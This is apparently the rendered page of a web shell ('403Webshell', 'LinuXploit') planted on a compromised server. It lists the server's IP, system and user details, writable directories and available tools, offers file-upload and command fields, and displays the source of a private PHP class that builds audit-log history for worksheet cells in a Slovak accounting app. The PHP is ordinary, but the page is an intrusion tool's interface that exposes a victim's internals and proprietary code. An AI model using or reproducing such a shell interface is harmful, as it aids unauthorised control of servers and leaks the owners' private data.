403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/modules/worksheets/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/modules/worksheets/code/WorksheetCellHistoryService.php
<?php

namespace modules\worksheets\code;

use app\classes\PDOCollection;
use app\classes\PDODatabase;
use app\constants\State;
use modules\gDriveWatchDog\code\EvidenceVehicleUse;
use modules\gDriveWatchDog\code\repo\EvidenceVehicleUseRepository;
use modules\users\code\repo\ConsultantUserRepository;
use modules\worksheets\code\enums\WorksheetInitialData;
use modules\worksheets\code\enums\WorksheetStatus;

class WorksheetCellHistoryService {

    /**
     * @return list<array{
     *     id: int,
     *     created: string,
     *     created_label: string,
     *     created_by: string,
     *     user_label: string,
     *     user_full_name: string,
     *     user_color: string,
     *     old_val: string,
     *     new_val: string,
     *     old_val_raw: string|null,
     *     new_val_raw: string|null,
     *     old_val_badge: string|null,
     *     new_val_badge: string|null
     * }>
     */
    public static function getCellHistory(AbstractWorksheetTable $table, int $rowId, string $field): array {
        if ($rowId <= 0 || $field === '') {
            return [];
        }

        return self::getLoggerHistory(
            $table->getDbTableName(),
            $rowId,
            $field,
            static function ($raw) use ($table, $field) {
                return self::formatHistoryValueDetails($table, $field, $raw);
            }
        );
    }

    /**
     * History for worsheet_main_control preview cells.
     *
     * @return list<array<string, mixed>>
     */
    public static function getControlCellHistory(int $rowId, string $field): array {
        if ($rowId <= 0 || !in_array($field, WorksheetMainControl::EDITABLE_FIELDS, true)) {
            return [];
        }

        return self::getLoggerHistory(
            WorksheetMainControl::$dbTable,
            $rowId,
            $field,
            static function ($raw) use ($field) {
                return self::formatSideTableHistoryValue(
                    $field,
                    $raw,
                    WorksheetMainControl::CHECKBOX_FIELDS,
                    $field === 'submission_date'
                );
            }
        );
    }

    /**
     * History for worsheet_main_dppo preview cells.
     *
     * @return list<array<string, mixed>>
     */
    public static function getDppoCellHistory(int $rowId, string $field): array {
        if ($rowId <= 0 || !in_array($field, WorksheetMainDppo::EDITABLE_FIELDS, true)) {
            return [];
        }

        return self::getLoggerHistory(
            WorksheetMainDppo::$dbTable,
            $rowId,
            $field,
            static function ($raw) use ($field) {
                return self::formatSideTableHistoryValue(
                    $field,
                    $raw,
                    WorksheetMainDppo::CHECKBOX_FIELDS,
                    false
                );
            }
        );
    }

    /**
     * History for Motorové vozidlá "Použitie MV v tomto mesiaci" checkbox
     * (`evidence_vehicles_use.used`).
     *
     * @return list<array<string, mixed>>
     */
    public static function getVehicleUseCellHistory(int $vehicleId, int $period): array {
        if ($vehicleId <= 0 || !EvidenceVehicleUseRepository::isValidPeriod($period)) {
            return [];
        }

        $use = (new EvidenceVehicleUseRepository())->findActiveByVehicleAndPeriod($vehicleId, $period);
        if ($use === null) {
            return [];
        }

        $rowId = (int) $use->getId();
        if ($rowId <= 0) {
            return [];
        }

        return self::getLoggerHistory(
            EvidenceVehicleUse::$dbTable,
            $rowId,
            'used',
            static function ($raw) {
                return self::formatCheckboxHistoryValue($raw);
            }
        );
    }

    /**
     * @param callable(mixed): array{label: string, badge: string|null} $formatter
     * @return list<array<string, mixed>>
     */
    private static function getLoggerHistory(string $dbTable, int $rowId, string $field, callable $formatter): array {
        $collection = new PDOCollection(
            'db_updates_logger',
            'id',
            'SELECT id, created, created_by, column_name, old_val, new_val'
            . ' FROM db_updates_logger'
            . ' WHERE table_name = :TABLE_NAME'
            . ' AND row_id_column_name = :ROW_ID_COLUMN'
            . ' AND row_id = :ROW_ID'
            . ' AND column_name = :COLUMN_NAME'
            . ' AND state = :ACTIVE'
            . ' ORDER BY created DESC, id DESC',
            [
                'TABLE_NAME' => $dbTable,
                'ROW_ID_COLUMN' => 'id',
                'ROW_ID' => (string) $rowId,
                'COLUMN_NAME' => $field,
                'ACTIVE' => State::ACTIVE,
            ]
        );

        $items = [];
        foreach ($collection->toArray() as $row) {
            $createdBy = trim((string) ($row['created_by'] ?? ''));
            $user = self::resolveUserByCreatedBy($createdBy);
            $created = (string) ($row['created'] ?? '');
            $oldRaw = array_key_exists('old_val', $row) ? $row['old_val'] : null;
            $newRaw = array_key_exists('new_val', $row) ? $row['new_val'] : null;
            $oldFormatted = $formatter($oldRaw);
            $newFormatted = $formatter($newRaw);

            $items[] = [
                'id' => (int) ($row['id'] ?? 0),
                'created' => $created,
                'created_label' => self::formatDateTime($created),
                'created_by' => $createdBy,
                'user_label' => self::formatUserLabel($user, $createdBy),
                'user_full_name' => self::formatUserFullName($user, $createdBy),
                'user_color' => self::formatUserColor($user),
                'old_val' => $oldFormatted['label'],
                'new_val' => $newFormatted['label'],
                'old_val_raw' => $oldRaw === null ? null : (string) $oldRaw,
                'new_val_raw' => $newRaw === null ? null : (string) $newRaw,
                'old_val_badge' => $oldFormatted['badge'],
                'new_val_badge' => $newFormatted['badge'],
            ];
        }

        return $items;
    }

    /**
     * @param list<string> $checkboxFields
     * @param mixed $raw
     * @return array{label: string, badge: string|null}
     */
    private static function formatSideTableHistoryValue(
        string $field,
        $raw,
        array $checkboxFields,
        bool $isDate
    ): array {
        if ($raw === null || $raw === '') {
            return ['label' => '—', 'badge' => null];
        }

        if (in_array($field, $checkboxFields, true)) {
            return self::formatCheckboxHistoryValue($raw);
        }

        if ($isDate) {
            return self::formatDateHistoryValue($raw);
        }

        return ['label' => (string) $raw, 'badge' => null];
    }

    /**
     * Resolve actor from logger created_by email, including soft-deleted users
     * whose email was rewritten to original_email_<unixTimestamp>.
     *
     * @return array<string, mixed>|null
     */
    public static function resolveUserByCreatedBy(string $createdBy): ?array {
        $createdBy = trim($createdBy);
        if ($createdBy === '') {
            return null;
        }

        $db = PDODatabase::getInstance();
        $exact = $db->getRow(
            'users',
            0,
            'id',
            false,
            ['email' => $createdBy],
            'SELECT id, email, first_name, last_name, personalno, state, color'
            . ' FROM users WHERE email = :email'
        );
        if (is_array($exact) && !empty($exact['id'])) {
            return $exact;
        }

        $collection = new PDOCollection(
            'users',
            'id',
            'SELECT id, email, first_name, last_name, personalno, state, color'
            . ' FROM users'
            . ' WHERE email LIKE :PREFIX'
            . ' ORDER BY id DESC',
            ['PREFIX' => $createdBy . '_%']
        );

        $prefix = $createdBy . '_';
        foreach ($collection->toArray() as $candidate) {
            $email = (string) ($candidate['email'] ?? '');
            if (strpos($email, $prefix) !== 0) {
                continue;
            }

            $suffix = substr($email, strlen($prefix));
            if ($suffix !== '' && ctype_digit($suffix)) {
                return $candidate;
            }
        }

        return null;
    }

    /**
     * @param array<string, mixed>|null $user
     */
    private static function formatUserLabel(?array $user, string $fallbackEmail): string {
        if ($user !== null) {
            $full = ConsultantUserRepository::formatFullLabel($user);
            if ($full !== '') {
                return self::appendDeletedMarker($full, $user);
            }
        }

        return $fallbackEmail !== '' ? $fallbackEmail : '—';
    }

    /**
     * @param array<string, mixed>|null $user
     */
    private static function formatUserFullName(?array $user, string $fallbackEmail): string {
        if ($user !== null) {
            $full = ConsultantUserRepository::formatFullLabel($user);
            if ($full !== '') {
                return self::appendDeletedMarker($full, $user);
            }
        }

        return $fallbackEmail;
    }

    /**
     * @param array<string, mixed>|null $user
     */
    private static function formatUserColor(?array $user): string {
        if ($user === null) {
            return '';
        }

        $color = trim((string) ($user['color'] ?? ''));
        if ($color === '') {
            return '';
        }

        if ($color[0] !== '#') {
            $color = '#' . $color;
        }

        if (!preg_match('/^#[0-9A-Fa-f]{3}([0-9A-Fa-f]{3})?$/', $color)) {
            return '';
        }

        return $color;
    }

    /**
     * @param array<string, mixed> $user
     */
    private static function appendDeletedMarker(string $label, array $user): string {
        if (($user['state'] ?? '') === State::DELETED) {
            return $label . ' (zmazaný)';
        }

        return $label;
    }

    /**
     * @param mixed $raw
     * @return array{label: string, badge: string|null}
     */
    private static function formatHistoryValueDetails(AbstractWorksheetTable $table, string $field, $raw): array {
        if ($raw === null || $raw === '') {
            return ['label' => '—', 'badge' => null];
        }

        $controller = $table->getColumnController($field);
        if ($controller === null) {
            return ['label' => self::formatScalarHistoryValue($raw), 'badge' => null];
        }

        $clientValue = $controller->normalizeForClient($raw);
        if ($clientValue === null || $clientValue === '') {
            return ['label' => '—', 'badge' => null];
        }

        $formatter = self::resolveHistoryFormatterMethod($field, $controller->getTypeKey());
        if ($formatter !== null) {
            return self::$formatter($clientValue);
        }

        if (is_bool($clientValue)) {
            return ['label' => ($clientValue ? 'Áno' : 'Nie'), 'badge' => null];
        }

        if (is_array($clientValue) || is_object($clientValue)) {
            return [
                'label' => (string) json_encode($clientValue, JSON_UNESCAPED_UNICODE),
                'badge' => null,
            ];
        }

        return ['label' => self::formatScalarHistoryValue($clientValue), 'badge' => null];
    }

    /**
     * Resolve formatter by column field first, then by column type.
     * Example: status -> formatStatusHistoryValue, worksheet_status -> formatWorksheetStatusHistoryValue.
     */
    private static function resolveHistoryFormatterMethod(string $field, string $typeKey): ?string {
        foreach ([$field, $typeKey] as $name) {
            $name = trim((string) $name);
            if ($name === '') {
                continue;
            }

            $method = self::historyFormatterMethodName($name);
            if (method_exists(self::class, $method)) {
                return $method;
            }
        }

        return null;
    }

    private static function historyFormatterMethodName(string $name): string {
        $studly = str_replace(' ', '', ucwords(str_replace('_', ' ', strtolower($name))));

        return 'format' . $studly . 'HistoryValue';
    }

    /**
     * @param mixed $value
     * @return array{label: string, badge: string|null}
     */
    private static function formatStatusHistoryValue($value): array {
        return self::formatWorksheetStatusHistoryValue($value);
    }

    /**
     * @param mixed $value
     * @return array{label: string, badge: string|null}
     */
    private static function formatWorksheetStatusHistoryValue($value): array {
        $state = (string) $value;
        $label = WorksheetStatus::getStateMessage($state);
        if ($label === false || $label === '') {
            $label = $state;
        }

        return [
            'label' => (string) $label,
            'badge' => 'worksheet-status-badge ' . WorksheetStatus::getBadgeClass($state),
        ];
    }

    /**
     * @param mixed $value
     * @return array{label: string, badge: string|null}
     */
    private static function formatInitialDataHistoryValue($value): array {
        return self::formatWorksheetInitialDataHistoryValue($value);
    }

    /**
     * @param mixed $value
     * @return array{label: string, badge: string|null}
     */
    private static function formatWorksheetInitialDataHistoryValue($value): array {
        $state = (string) $value;
        $label = WorksheetInitialData::getStateMessage($state);
        if ($label === false || $label === '') {
            $label = $state;
        }
        $badgeClass = WorksheetInitialData::getBadgeClass($state);

        return [
            'label' => (string) $label,
            'badge' => $badgeClass !== ''
                ? ('worksheet-initial-data-badge ' . $badgeClass)
                : null,
        ];
    }

    /**
     * @param mixed $value
     * @return array{label: string, badge: string|null}
     */
    private static function formatCheckboxHistoryValue($value): array {
        return [
            'label' => ((int) $value === 1 || $value === true || $value === '1') ? 'Áno' : 'Nie',
            'badge' => null,
        ];
    }

    /**
     * @param mixed $value
     * @return array{label: string, badge: string|null}
     */
    private static function formatVatCheckboxHistoryValue($value): array {
        return self::formatCheckboxHistoryValue($value);
    }

    /**
     * @param mixed $value
     * @return array{label: string, badge: string|null}
     */
    private static function formatDateHistoryValue($value): array {
        $formattedDate = self::formatDateValue($value);

        return [
            'label' => $formattedDate !== null ? $formattedDate : (string) $value,
            'badge' => null,
        ];
    }

    /**
     * @param mixed $value
     * @return array{label: string, badge: string|null}
     */
    private static function formatPeriodDateHistoryValue($value): array {
        return self::formatDateHistoryValue($value);
    }

    /**
     * @param mixed $value
     * @return array{label: string, badge: string|null}
     */
    private static function formatSeniorUserHistoryValue($value): array {
        $userId = (int) $value;
        if ($userId <= 0) {
            return ['label' => '—', 'badge' => null];
        }

        $user = PDODatabase::getInstance()->getRow(
            'users',
            0,
            'id',
            false,
            ['id' => $userId],
            'SELECT id, email, first_name, last_name, personalno, state, color'
            . ' FROM users WHERE id = :id'
        );
        if (is_array($user)) {
            $label = ConsultantUserRepository::formatShortLabel($user);
            if ($label !== '') {
                return ['label' => $label, 'badge' => null];
            }
        }

        return ['label' => (string) $value, 'badge' => null];
    }

    /**
     * @param mixed $value
     * @return array{label: string, badge: string|null}
     */
    private static function formatMediorUserHistoryValue($value): array {
        return self::formatSeniorUserHistoryValue($value);
    }

    /**
     * @param mixed $value
     */
    private static function formatScalarHistoryValue($value): string {
        $formattedDate = self::formatDateValue($value);
        if ($formattedDate !== null) {
            return $formattedDate;
        }

        return (string) $value;
    }

    /**
     * @param mixed $value
     */
    private static function formatDateValue($value): ?string {
        if (!is_string($value) && !is_numeric($value)) {
            return null;
        }

        $value = trim((string) $value);
        if ($value === '' || $value === '0000-00-00' || $value === '0000-00-00 00:00:00') {
            return null;
        }

        if (preg_match('/^\d{4}-\d{2}-\d{2}$/', $value)) {
            $ts = strtotime($value . ' 00:00:00');
            return $ts === false ? null : date('d.m.Y', $ts);
        }

        if (preg_match('/^\d{4}-\d{2}-\d{2}[ T]\d{2}:\d{2}(:\d{2})?/', $value)) {
            $ts = strtotime($value);
            return $ts === false ? null : date('d.m.Y H:i:s', $ts);
        }

        return null;
    }

    private static function formatDateTime(string $created): string {
        $created = trim($created);
        if ($created === '' || $created === '0000-00-00 00:00:00') {
            return '—';
        }

        $ts = strtotime($created);
        if ($ts === false) {
            return $created;
        }

        return date('d.m.Y H:i:s', $ts);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit